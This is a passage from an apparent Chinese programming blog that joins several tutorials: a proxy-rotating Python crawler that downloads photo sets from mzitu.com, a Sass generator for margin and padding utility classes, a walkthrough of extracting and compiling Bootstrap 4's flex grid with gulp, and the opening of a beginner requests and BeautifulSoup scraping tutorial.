print(u'获取网页出错,10S后将获取倒数第:', num_retries, u'次')
return self.get(url, timeout, num_retries-1) ##调用自身 并将次数减1
else:
print(u'开始使用代理')
time.sleep(10)
IP = ''.join(str(random.choice(self.iplist)).strip()) ##下面有解释哦
proxy = {'http': IP}
return self.get(url, timeout, proxy,) ##代理不为空的时候

else: ##当代理不为空
try:
IP = ''.join(str(random.choice(self.iplist)).strip()) ##将从self.iplist中获取的字符串处理成我们需要的格式(处理了些什么自己看哦,这是基础呢)
proxy = {'http': IP} ##构造成一个代理
return requests.get(url, headers=headers, proxies=proxy, timeout=timeout) ##使用代理获取response
except:

if num_retries > 0:
time.sleep(10)
IP = ''.join(str(random.choice(self.iplist)).strip())
proxy = {'http': IP}
print(u'正在更换代理,10S后将重新获取倒数第', num_retries, u'次')
print(u'当前代理是:', proxy)
return self.get(url, timeout, proxy, num_retries - 1)
else:
print(u'代理也不好使了!取消代理')
return self.get(url, 3)

request = download() ##

这个模块就多了 request = download() 第二个(def mzitu.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from bs4 import BeautifulSoup
import os
from Download import request ##导入模块变了一下
from pymongo import MongoClient

class mzitu():


def all_url(self, url):

html = request.get(url, 3) ##这儿更改了一下(是不是发现 self 没见了?)
all_a = BeautifulSoup(html.text, 'lxml').find('div', class_='all').find_all('a')
for a in all_a:
title = a.get_text()
print(u'开始保存:', title)
path = str(title).replace("?", '_')
self.mkdir(path)
os.chdir("D:\mzitu\\"+path)
href = a['href']
self.html(href)

def html(self, href):
html = request.get(href, 3)##这儿更改了一下(是不是发现 self 没见了?)
max_span = BeautifulSoup(html.text, 'lxml').find_all('span')[10].get_text()
for page in range(1, int(max_span) + 1):
page_url = href + '/' + str(page)
self.img(page_url)

def img(self, page_url):
img_html = request.get(page_url, 3) ##这儿更改了一下(是不是发现 self 没见了?)
img_url = BeautifulSoup(img_html.text, 'lxml').find('div', class_='main-image').find('img')['src']
self.save(img_url)

def save(self, img_url):
name = img_url[-9:-4]
print(u'开始保存:', img_url)
img = request.get(img_url, 3) ##这儿更改了一下(是不是发现 self 没见了?)
f = open(name + '.jpg', 'ab')
f.write(img.content)
f.close()

def mkdir(self, path):
path = path.strip()
isExists = os.path.exists(os.path.join("D:\mzitu", path))
if not isExists:
print(u'建了一个名字叫做', path, u'的文件夹!')
os.makedirs(os.path.join("D:\mzitu", path))
return True
else:
print(u'名字叫做', path, u'的文件夹已经存在了!')
return False




Mzitu = mzitu() ##实例化
Mzitu.all_url('http://www.mzitu.com/all') ##给函数all_url传入参数 你可以当作启动爬虫(就是入口)

改动的地方我都有明确标注哦!仔细看看有什么不同吧。

HTML

需求分析

有需求才有动力! 写CSS的时候,你经常会遇到要设置一个小边距,比如设置: 所有内边距10px,外左边距20px,内右边距0,上下内边距50px,外左右边距自动…. 而你是不是又不想自己单独为它们定义一个class,然后把padding, margin之类的写进去? 举例如下: 现在我有两个p标签,我想让这两个p标签中间相隔10px,那是不是需要?

1
2
<p style="margin-bottom:10px">Hello</p>
<p>World</p>

又或者

1
2
3
4
5
6
<p class="m">Hello</p>
<p>World</p>

.m {
margin-bottom: 10px;
}

类似这样的情况多了去了,每次都要定个样式就为了解决个边距问题? 能忍吗?能忍吗?反正我是不能忍。改改改,燥起来!

协议规定

那么为了解决这么一个问题,我们首先要想好解决标准。

边距层级

首先边距问题,我们首先要定义这么几个层级: 极小、很小、小、正常、中等、大、很大、极大。 对应的边距划分为: 2px、5px、10px、15px、20px、30px、40px、50px。 那么代号就标记为: xxs、xs、sm、‘空’、md、lg、xl、xxl。 另外我们还有其他的样式,比如自动auto、初始化initial、继承inherit、无边距none。 那么代号标记为auto、ii、ih、none。 这样的划分基本可以满足需求。

简称划分

然后定义几个简称: 我们用到的单词有内边距、外边距、上下左右等,那么定义如下: padding->p、margin->m、right->r、left->l、top->t、bottom->b、horizontal->h、vertical->v。 其中horizontal和vertical指代水平方向和垂直方向,也就是同时设置左右或者同时设置上下。 当然不能忽略了反向边距,比如外边距是负10px,这个也需要用一个简称,我们定义为n,是反向的意思。 如此一来,所有的简称和边距就规定好了。

实例说明

通过上面的层级关系和简称划分,我们可以对他们进行自由组合,形成一个个class样式。比如: .p-t-xs 即为上内边距是5px,.p-h-md 即为左右内边距是20px,.p-b-n-lg 即为下内边距是-30px, .p-r-xxl 即为右内边距是50px,.p-t 即为上内边距为正常边距15px(正常边距省略即可),.p-n 即为内边距是-15px。 .p-v-n 即为上下内边距是-15px,.m-h-auto 即为水平左右外边距是自动auto, .m-t-ii 即为上外边距是初始化initial。 .m-r-none 即为右外边距是0。 怎样?通过这样的定义,能不能找出规律?即 第一个字母p或者m,代表padding或者margin。 第二个字母代表方向,t上方、b下方、l左方、r右方、v上方和下方、h左方和右方。 第三个(组)字母代表距离,xs是+2px,n-lg是-30px,空是自动边距15px,n是反向正常值-15px,ii是初始化,none是无,auto是自动边距。 怎样?有了这些定义,我们是不是就能非常方便地设置边距样式了?刚才的边距怎样解决?很简单,只需要

1
2
<p class="m-b-sm">Hello</p>
<p>World</p>

如果一个网页里有很多样式,那只需要把整个样式文件引入,自由地添加class就好了。

编写Sass

这么多组合呢?写CSS不累死了?检查也不好检查。 怎么办?上Sass! 首先我们先定义一层映射,边距映射:

1
2
$map: (none: 0, auto: auto, ii: initial, ih: inherit, xxs: 2px, xs: 5px, sm: 10px, '': 15px, md: 20px, lg: 30px, xl: 40px, xxl: 50px,
n-xxs: -2px, n-xs: -5px, n-sm: -10px, n: -15px, n-md: 20px, n-lg: 30px, n-xl: -40px, n-xxl: -50px);

这里定义了所有的边距和它的简称。 然后我们尝试写一下padding的函数,遍历一下:

1
2
3
4
5
@each $style, $padding in $map {
.p-#{$style} {
padding: $padding !important;
}
}

这,那空的咋办? 不能留个下划线啊。判断一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@function line($style) {
@if $style != '' {
@return '-';
} @else {
@return '';
}
}

@each $style, $padding in $map {
$line: line($style);
.p#{line}#{$style} {
padding: $padding !important;
}
}

这样我们就生成了所有padding边距的设置。 好接下来设置下水平和垂直边距吧,这个就需要两句话了,比如设置水平你得写padding-left 和 padding-right。 有的小伙伴说了,可以直接写一个啊,比如 padding: 0 20px 就可以,不过这样你同时设置了上下边距。即便上下边距我们设置成inherit或者什么其他的,那也多多少少在某种情况下产生影响。 所以这里我们直接分开,而且就算不分开,你之前的映射就要修改,还是麻烦的。 所以这里定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@each $style, $padding in $map {
$line: line($style);
.p-v#{$line}#{$style} {
padding-top: $padding !important;
padding-bottom: $padding !important;
}
}

@each $style, $padding in $map {
$line: line($style);
.p-h#{$line}#{$style} {
padding-left: $padding !important;
padding-right: $padding !important;
}
}

那最后,单边距的定义如下,我们给它加个循环:

1
2
3
4
5
6
7
8
9
$directions: (t: top, b: bottom, l: left, r:right);
@each $d-key, $d-value in $directions {
@each $style, $padding in $map {
$line: line($style);
.p-#{$d-key}#{$line}#{$style} {
padding-#{$d-value}: $padding !important;
}
}
}

如此一来,padding的就写好了! 那么margin的怎么办?很简单,再加一层循环,最终代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
@function line($style) {
@if $style != '' {
@return '-';
} @else {
@return '';
}
}

$map: (none: 0, auto: auto, ii: initial, ih: inherit, xxs: 2px, xs: 5px, sm: 10px, '': 15px, md: 20px, lg: 30px, xl: 40px, xxl: 50px,
n-xxs: -2px, n-xs: -5px, n-sm: -10px, n: -15px, n-md: 20px, n-lg: 30px, n-xl: -40px, n-xxl: -50px);

$names: (m: margin, p: padding);
@each $n-key, $n-value in $names {
@each $style, $padding in $map {
$line: line($style);
.#{$n-key}#{$line}#{$style} {
#{$n-value}: $padding !important;
}
}

@each $style, $padding in $map {
$line: line($style);
.#{$n-key}-v#{$line}#{$style} {
#{$n-value}-top: $padding !important;
#{$n-value}-bottom: $padding !important;
}
}

@each $style, $padding in $map {
$line: line($style);
.#{$n-key}-h#{$line}#{$style} {
#{$n-value}-left: $padding !important;
#{$n-value}-right: $padding !important;
}
}

$directions: (t: top, b: bottom, l: left, r:right);
@each $d-key, $d-value in $directions {
@each $style, $padding in $map {
$line: line($style);
.#{$n-key}-#{$d-key}#{$line}#{$style} {
#{$n-value}-#{$d-value}: $padding !important;
}
}
}
}

如此一来,Sass便成功生成了。

编译

写完了那自然要编译一下咯,废话不多说上gulp。

1
2
3
4
5
6
7
8
9
10
11
12
13
gulp.task('styles', () => {
return gulp.src(path.sass)
.pipe(plumber())
.pipe(sourcemaps.init())
.pipe(sass({outputStyle: 'compressed'}).on('error', sass.logError))
.pipe(sourcemaps.write())
.pipe(autoprefixer({
browsers: ['last 2 versions'],
cascade: true,
remove: true
}))
.pipe(gulp.dest(path.dest.css));
});

或者你们有考拉编译器啊或者其他的都行,能编译就好。 生成的部分结果展示如下:

1
.m-none{margin:0 !important}.m-auto{margin:auto !important}.m-ii{margin:initial !important}.m-ih{margin:inherit !important}.m-xxs{margin:2px !important}.m-xs{margin:5px !important}.m-sm{margin:10px !important}.m{margin:15px !important}.m-md{margin:20px !important}.m-lg{margin:30px !important}.m-xl{margin:40px !important}.m-xxl{margin:50px !important}.m-n-xxs{margin:-2px !important}.m-n-xs{margin:-5px !important}.m-n-sm{margin:-10px !important}.m-n{margin:-15px !important}.m-n-md{margin:20px !important}.m-n-lg{margin:30px !important}.m-n-xl{margin:-40px !important}.m-n-xxl{margin:-50px !important}.m-v-none{margin-top:0 !important;margin-bottom:0 !important}.m-v-auto{margin-top:auto !important;margin-bottom:auto !important}.m-v-ii{margin-top:initial !important;margin-bottom:initial !important}.m-v-ih{margin-top:inherit !important;margin-bottom:inherit !important}.m-v-xxs{margin-top:2px !important;margin-bottom:2px !important}.m-v-xs{margin-top:5px !important;margin-bottom:5px !important}.m-v-sm{margin-top:10px !important;margin-bottom:10px !important}.m-v{margin-top:15px !important;margin-bottom:15px !important}.m-v-md{margin-top:20px !important;margin-bottom:20px !important}.m-v-lg{margin-top:30px !important;margin-bottom:30px !important}.m-v-xl{margin-top:40px !important;margin-bottom:40px !important}

具体的结果等你自己编译一下看看就好啦。

资源下载

当然有的小伙伴一定嫌麻烦,别急,我这都给你准备好了,编译好的结果放送给大家! pm.css pm.min.css 需要使用的小伙伴们直接在HTML代码中引入就好啦!

1
2
<link rel="stylesheet" href="http://res.cuiqingcai.com/css/pm.css">
<link rel="stylesheet" href="http://res.cuiqingcai.com/css/pm.min.css">

本文介绍了使用Sass自定义边距样式的流程,希望对大家有帮助!

HTML

前言

首先 Flexbox 是什么?它是 Bootstrap4 新出的一个布局格式,对移动端开发非常方便。 说一下我为什么要提取 Flexbox。有需求才有动力,首先是需求,最近在开发一个移动端适配的网站,使用了 materi-ui 框架,基于 React。使用 materi-ui 时,已经内置了许多样式,但是 bootstrap 的一些多余样式会影响一些现有样式,而那些样式对我又没啥用。另外 Flex 对于移动端布局开发非常适合,这次正好也拿来练练手。 移动端开发是趋势,随着移动端的发展,BootStrap 也出了新版本 4,不过现在还是 alpha 版本,还没正式推出。 其中一个比较大的改进便是 Flexbox Grid 系统。 BootStrap 原本最常用的布局栅格化系统在做响应式开发的时候比较方便,但是只针对于移动端开发的时候并没有多大用处了,流行的 Flex 布局应用越来越广泛。 在 Founation 中,看到过有了这种 Flex 布局,它就是适应手机开发的框架。后来 Bootstrap4 也增加了这块。 那么 Flexbox Grid 系统相比之前什么改进呢?请看官方文档实例。 Flexbox Grid P.S 别去上什么中文网,全是错误,实例结果有问题。不想吐槽,一开始我还以为是 Flexbox Grid 设计不科学。

准备工作

首先下载 BootStrap V4。 Bootstrap V4 目前最新版还是 alpha 版本,如链接失效,请移步官网。 BootStrap 然后你需要安装了 node,gulp,自行下载即可。 gulp

开始抽取

下载之后打开 Bootstrap 源代码文件夹,找到 scss 目录,可以看到如下的结构。 QQ20161029-0@2x mixins 是一些可调用的组件,本身编译不会产生任何结果。utilities 是一些公用的包,比如我们要抽取的 Flex 就在这里面。 外面的这么多是一些公用的基本组件。 通过官方文档可以发现:

If you’re familiar with modifying variables in Sass—or any other CSS preprocessor—you’ll be right at home to move into flexbox mode.

  1. Open the _variables.scss file and find the $enable-flex variable.
  2. Change it from false to true.
  3. Recompile, and done!

Alternatively, if you don’t need the source Sass files, you may swap the default Bootstrap compiled CSS with the compiled flexbox variation. Head to the download page for more information.

如果我们想要添加 Flex 组件,还需要将这个变量更改,即将$enable-flex 改成 true 才可以,默认是 false。 在源代码中我们可以发现已经有了一个 bootstrap-flex.scss 的文件,然而这里面发现直接引入了 bootstrap 的所有代码,这并不是我们想要的,它可能会复写一些基本样式,会影响我们的工程。我们想要的是单独把 Flex 部分抽离出来。 所以我们自己新建一个 bootstrap-flex.scss 的空文件。 首先将变量改为 true

1
$enable-flex: true;

然后阅读源码可以发现有两个公用的 scss 文件是必须引入的。 variables 和 breakpoints,我们先将他们引入。

1
2
@import "variables";
@import "breakpoints";

然后观察带有 flex 的代码,只发现了在 utilities 文件夹中有相关内容,跑不了了,那就是它,复制到同一路径,引入一下。

1
@import "flex";

不过发现这个文件里的样式颇少,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Flex variation
//
// Custom styles for additional flex alignment options.

@if $enable-flex {
@each $breakpoint in map-keys($grid-breakpoints) {
// Flex column reordering
@include media-breakpoint-up($breakpoint) {
.flex-#{$breakpoint}-first { order: -1; }
.flex-#{$breakpoint}-last { order: 1; }
.flex-#{$breakpoint}-unordered { order: 0; }
}

// Alignment for every item
@include media-breakpoint-up($breakpoint) {
.flex-items-#{$breakpoint}-top { align-items: flex-start; }
.flex-items-#{$breakpoint}-middle { align-items: center; }
.flex-items-#{$breakpoint}-bottom { align-items: flex-end; }
}

// Alignment per item
@include media-breakpoint-up($breakpoint) {
.flex-#{$breakpoint}-top { align-self: flex-start; }
.flex-#{$breakpoint}-middle { align-self: center; }
.flex-#{$breakpoint}-bottom { align-self: flex-end; }
}

// Horizontal alignment of item
@include media-breakpoint-up($breakpoint) {
.flex-items-#{$breakpoint}-left { justify-content: flex-start; }
.flex-items-#{$breakpoint}-center { justify-content: center; }
.flex-items-#{$breakpoint}-right { justify-content: flex-end; }
.flex-items-#{$breakpoint}-around { justify-content: space-around; }
.flex-items-#{$breakpoint}-between { justify-content: space-between; }
}
}
}

这才多点啊?看官方实例明明用到了 row,col 这些样式好不好。再看看。 于是乎发现这些实际上也是依赖于原始的 grid 样式的。我们必须也要把它引入进来。 找找,发现了三个相关文件,拷贝过来,引入。

1
2
3
@import "mixins/grid";
@import "mixins/grid-framework";
@import "grid";

嗯,这下应该全了。 结构如下所示 QQ20161029-1@2x

编译代码

官方用的是 grunt 自动化工具,然而我用着并不习惯。在这里我们用到 gulp 来编译。 首先 npm init 初始化一个 package.json 引入一些包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"devDependencies": {
"babel-core": "^6.3.26",
"babel-preset-es2015": "^6.16.0",
"babel-register": "^6.18.0",
"del": "^2.2.2",
"gulp": "^3.9.1",
"gulp-autoprefixer": "^3.1.1",
"gulp-babel": "^6.1.2",
"gulp-plumber": "^1.1.0",
"gulp-postcss": "^6.2.0",
"gulp-sass": "^2.3.2",
"gulp-sourcemaps": "^2.2.0",
"postcss-scss": "^0.3.1"
}

整体的结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"name": "bootstrap-flex",
"version": "1.0.0",
"description": "BootStrap Flex",
"main": "gulpfile.babel.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Germey",
"license": "MIT",
"devDependencies": {
"babel-core": "^6.3.26",
"babel-preset-es2015": "^6.16.0",
"babel-register": "^6.18.0",
"del": "^2.2.2",
"gulp": "^3.9.1",
"gulp-autoprefixer": "^3.1.1",
"gulp-babel": "^6.1.2",
"gulp-plumber": "^1.1.0",
"gulp-postcss": "^6.2.0",
"gulp-sass": "^2.3.2",
"gulp-sourcemaps": "^2.2.0",
"postcss-scss": "^0.3.1"
}
}

执行

1
npm install

安装一下 node_modules。 然后生成一个.babelrc 文件,因为我们要用 es2015 的语法,内容。

1
2
3
4
5
{
"presets": [
"es2015"
]
}

然后写一下 gulpfile.babel.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import gulp       from 'gulp';
import plumber from 'gulp-plumber';
import sass from 'gulp-sass';
import sourcemaps from 'gulp-sourcemaps';
import del from 'del';
import autoprefixer from 'gulp-autoprefixer';
const source = ['sass/**/*.scss'];
const dest = 'dist/css/';

gulp.task('sass', () => {
return gulp.src(source)
.pipe(plumber())
.pipe(sourcemaps.init())
.pipe(sass({outputStyle: 'compressed'}).on('error', sass.logError))
.pipe(sourcemaps.write())
.pipe(autoprefixer({
browsers: ['last 2 versions'],
cascade: true,
remove: true
}))
.pipe(gulp.dest(dest));
});

gulp.task('clean', del.bind(null, ['dist']));

gulp.task('build', ['sass', 'watch'])

gulp.task('watch', () => {
gulp.watch(source, ['sass']);
});

gulp.task('default', ['clean'], () => {
gulp.start('build');
});

比较简单,用到的有 sass, sourcemaps, autoprefixer 这几个比较常用的包。 执行

1
gulp

观察下结果。

1
2
3
4
5
6
7
8
9
10
11
12
[18:46:38] Requiring external module babel-register
[18:46:38] Using gulpfile /private/var/www/flex/gulpfile.babel.js
[18:46:38] Starting 'clean'...
[18:46:38] Finished 'clean' after 8.12 ms
[18:46:38] Starting 'default'...
[18:46:38] Starting 'sass'...
[18:46:38] Starting 'watch'...
[18:46:38] Finished 'watch' after 9.63 ms
[18:46:38] Finished 'default' after 25 ms
[18:46:39] Finished 'sass' after 312 ms
[18:46:39] Starting 'build'...
[18:46:39] Finished 'build' after 2.41 μs

恩,没什么问题。可以看到 dist 文件夹下生成了一个文件叫做 bootstrap-flex.css。

测试用例

恩接下来我们来测试一下官方实例是否正常。 新建一个 index.html 内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<link rel="stylesheet" href="dist/css/bootstrap-flex.css">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-xs">
1 of 2
</div>
<div class="col-xs">
1 of 2
</div>
</div>
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs">
1 of 3
</div>
<div class="col-xs">
1 of 3
</div>
</div>

</div>
<div class="container">
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs-6">
2 of 3 (wider)
</div>
<div class="col-xs">
3 of 3
</div>
</div>
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs-5">
2 of 3 (wider)
</div>
<div class="col-xs">
3 of 3
</div>
</div>
</div>
<div class="container">
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs-6">
2 of 3 (wider)
</div>
<div class="col-xs">
3 of 3
</div>
</div>
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs-5">
2 of 3 (wider)
</div>
<div class="col-xs">
3 of 3
</div>
</div>
</div>
<div class="container">
<div class="row flex-items-xs-top">
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
</div>
<div class="row flex-items-xs-middle">
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
</div>
<div class="row flex-items-xs-bottom">
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
</div>
</div>
<div class="container">
<div class="row flex-items-xs-left">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
<div class="row flex-items-xs-center">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
<div class="row flex-items-xs-right">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
<div class="row flex-items-xs-around">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
<div class="row flex-items-xs-between">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
</div>
<div class="container">
<div class="row">
<div class="col-xs flex-xs-unordered">
First, but unordered
</div>
<div class="col-xs flex-xs-last">
Second, but last
</div>
<div class="col-xs flex-xs-first">
Third, but first
</div>
</div>
</div>
<style>
.row {
margin-top: 1rem;
}
.row > [class^="col-"] {
padding-top: .75rem;
padding-bottom: .75rem;
background-color: rgba(86, 61, 124, 0.15);
border: 1px solid rgba(86, 61, 124, 0.2);
}
.flex-items-xs-top, .flex-items-xs-middle,.flex-items-xs-bottom {
min-height: 6rem;
background-color: rgba(255, 0, 0, 0.1);
}
</style>

</body>
</html>

我把官方实例拿过来测试一下。 结果如下所示 QQ20161029-0 恩,完美! 至于这个布局的用法,那就去官方文档领悟吧,和之前的 bootstrap 栅格化布局有比较大的不同。 不过如果你看了实例之后,就会豁然开朗了。

代码

本用例代码已上传到 GitHub。 代码实例 有兴趣的小伙伴可以下载测试。

结语

本文讲解了利用抽取 Bootstrap V4 中的 Flex 布局方式以及用 gulp 重新编译 Bootstrap 的过程,希望对大家有帮助。

Python

2018 年 12 月 11 日 入口页面多了一个连接 早期图片 更新了处理过后的代码(删掉了早期图片的 URL,大家可以自己尝试下载这个页面下的所有套图) 2017 年 8 月 30 日:mzitu.com 更新了防盗链导致下载图片全部失效,已更新处理办法: scrapy 版本也已更新 2017 年 4 月 24 日:用 scrapy 重写了一个 mzitu 的全站爬虫: 小白进阶之 Scrapy 第四篇(图片下载管道篇) 2017 年 3 月 31 号 更新 http://www.mzitu.com/all 这个地址已经被站长屏蔽了。下面的代码没法使了哦!仅提供学习方法。 PS:更改了一个新手比较难理解的坑(切换目录的问题),大陆之外的小伙伴儿 需要翻墙,mzitu.com 对大陆之外好像不可访问。倒数第四个代码块儿是 没有函数的脚本写法,看函数有困难的小伙伴儿,可以先看看这个。 这是一篇完全给新手写的爬虫教程、也是我第一次写博文···也不知道怎么写(我也是个菜鸟啊!各路大神拍砖轻点儿啊!)QQ图片20161021223818由于经常在群里装逼加上群主懒啊(你看有多久没更新文章就知道了),让我来一篇爬虫的教程。QQ图片20161021224219如此装逼机会怎么能错过,今天我来给大家来一篇基础爬虫教程。 你要问目标是啥? 要知道 XX 才是学习最大的动力啊!所以目标就是 mzitu.com , QQ图片20161021224731(废话真多还不开始) , 下面请各位跟我的教程一步一步走,喂!!说的就是你啊!别看着了,照着教程做啊!9555112 1、基础环境部分: 工欲其事必先利器,要想把心爱的妹子搬进你的给她准备的房子,总得有几把斧子才行啊!下面这就是几把斧子! 1.1:Python 基础运行环境:本篇教程采用 Python3 来写,所以你需要给你的电脑装上 Python3 才行,我就说说 Windows 的环境(会玩 Linux 的各位应该不需要我多此一举了)。 anaconda (点我下载)(这是一个 Python 的科学计算发行版本,作者打包好多好多的包, QQ图片20161021230903不知道干啥的没关系,你只需要知道拥有它之后,那些 Windows 下 pip 安装包报错的问题将不复存在) 下载不顺利的同学我已经传到百度云了:http://pan.baidu.com/s/1boAYaTL 1.2:Requests urllib 的升级版本打包了全部功能并简化了使用方法(点我查看官方文档1.3: beautifulsoup 是一个可以从 HTML 或 XML 文件中提取数据的 Python 库.它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式.(点我查看官方文档)(QQ图片20161022193315作为一个菜鸟就别去装逼用 正则表达式了,匹配不到想要的内容,容易打击积极性。老老实实的用beautifulsoup 吧!虽然性能差了点、但是你会爱上它的。) 1.4:LXML 一个 HTML 解析包 用于辅助 beautifulsoup 解析网页(如果你不用 anaconda,你会发现这个包在 Windows 下 pip 安装报错,QQ图片20161021230903用了就不会啦。)。 上面的模块需要 单独安装,下面几个就不用啦。 1.5: OS 系统内置模块 下面是IDE 你喜欢用什么就用什么啦! 1.6: PyCharm 一个草鸡好用的 PythonIDE 工具 、真滴!草鸡好用··(我是下载地址)试用三十天 足够完成这个小爬虫啦。(如果你电脑已经存在 Python 环境 又需要使用 anaconda 的话,请按照下面的图设置一下哦!) QQ图片20161022200505 好啦、下面开始安装需要的模块。 因为我安装的是anaconda这个科学计算的发行版,安装方式是酱紫滴:conda install 包名(当然 pip install 包名也是可以的哦!)

1
2
3
4
5
6
7
conda install requests
conda install beautifulsoup4
conda install lxml
或者
pip install requests
pip install beautifulsoup4
pip install lxml

QQ图片20161022200031 大概界面就是上面的样子了。其余类似安装即可,好啦 下面开始正题了 首先我们打开 PyCharm 新建一个 Python 文件,写入以下代码(喂喂!不要复制哦 自己敲一遍 印象更佳啦。)

1
2
3
import requests ##导入requests
from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
import os

好啦!准备工作完了、 我们来开始让妹子到碗里来吧ヽ(●-`Д´-)ノ 一个简单爬虫的诞生大慨需要下面几个步骤。(我知道图很简陋、请务必不要吐槽) QQ20161029-1

  • 爬虫入口:顾名思义我需要程序从什么地方开始获取网页
  • 存储数据:如果获取的网页有你需要的内容则取出数据保存
  • 找到资料所在的地址:如果你你获取到的网页没有你需要的数据、但是有前往该数据页面的地址 URL、则获取这个地址 URL,再获取该 URL 的页面内容(也就等于当作爬虫入口了)

好啦!图很简陋、将就着看看,现在来开始看看网页找一个爬虫入口(开始爬取的页面) QQ截图20161023150410 良心站长啊!居然有一个页面有整站所有的数据地址是http://www.mzitu.com/all 我们就以这个页面开始爬取(PS:真良心站长) 下面是我们的第一段代码:用作获取http://www.mzitu.com/all这个页面。

1
2
3
4
5
6
7
8
import requests ##导入requests
from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
import os

headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
all_url = 'http://www.mzitu.com/all' ##开始的URL地址
start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
print(start_html.text) ##打印出start_html (请注意,concent是二进制的数据,一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)

PS: 如果对 requests.get(all_url, headers=headers)感到不解的各位,请务必去再看一遍官方文档哦(解释得很清楚呢) 你在你的 IDE 中运行的时候会打印出下面的内容: QQ截图20161024203912 第一段部分完成啦!!是不感觉超简单!!!!看懂没?没看懂继续瞅瞅、对于看懂的各位小哥儿(妹儿)我只想说··· 小哥儿(妹儿)!你老牛逼了!! 没看懂?报错?没关系!看见屏幕右边那个群号没?加它!热心的群友会为你耐心解答滴············ 好啦!第一部分获取网页的部分完成啦!我们来开始第二部分提取我们想要的内容吧!! 在 Chrome 中打开我们第一部分请求的网址:http://www.mzitu.com/all 、 按下 F12 调出 Chrome 的开发者调试工具(不熟练的同学一定要去了解一下哦!爬虫中绝大部分工作要靠这个来完成呢!是必备技能哦!) 是这样: QQ截图20161024205256 看见图中那句话没?没看见?仔细看看那可是我们必须要使用的工具哦!!好啦下面我们看看使用方法 QQ图片20161025222942 好啦、我们就是通过这种方法来找到我们需要的数据在那一个标签里面的、方便后面提取出来啦!(实例很简陋 看不懂的童鞋百度一下啦!教程很多的) 你会发现这个页面并没有我们需要的图片地址啊!没有那么怎么办呢?上面那张超级简陋的流程图看了嘛?没看?赶快去瞅瞅·· 你就知道我们该干啥啦! 嗯,我们需要找到图片地址所在的页面! QQ截图20161025224053 观察一下网页你会发现图片页面的地址全部都在

  • ...
  • 标签中、(讲真!这么良心,还这么有规律的网页不多了啊!)不信啊?你展开
  • 标签瞅瞅就知道啦 QQ截图20161025224601 点开
  • 标签你会发现图片页面的地址标签的 href 属性中、主题标签中(搞不清楚的这两个的区别的同学、去了解一下 html 的基础啦!) 实现逻辑就是:先找到页面中的全部
  • 标签、然后提取出中间标签的 href 属性值与标签的类容,前者我们用来继续请求 html 看看会不会有我们需要的图片下载地址,后者我们存储的时候给文件夹命名使用。 可能有小哥儿(妹儿)会问,为什么不直接查找标签? 你观察一下网页就知道呐!还有其他地方使用了标签,如果直接查找标签就会多出很多我们不需要的东西,也不方便我们提取想要的东西,先查找
  • 标签就是限制一下标签的范围啦! 通过上面的方法、知道了需要的数据的位置!该我们的beautifulsoup来大展身手啦!!!加上上面的一段代码现在应该是这样的啦!看不懂?没关系 看注释 看注释。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    import requests ##导入requests
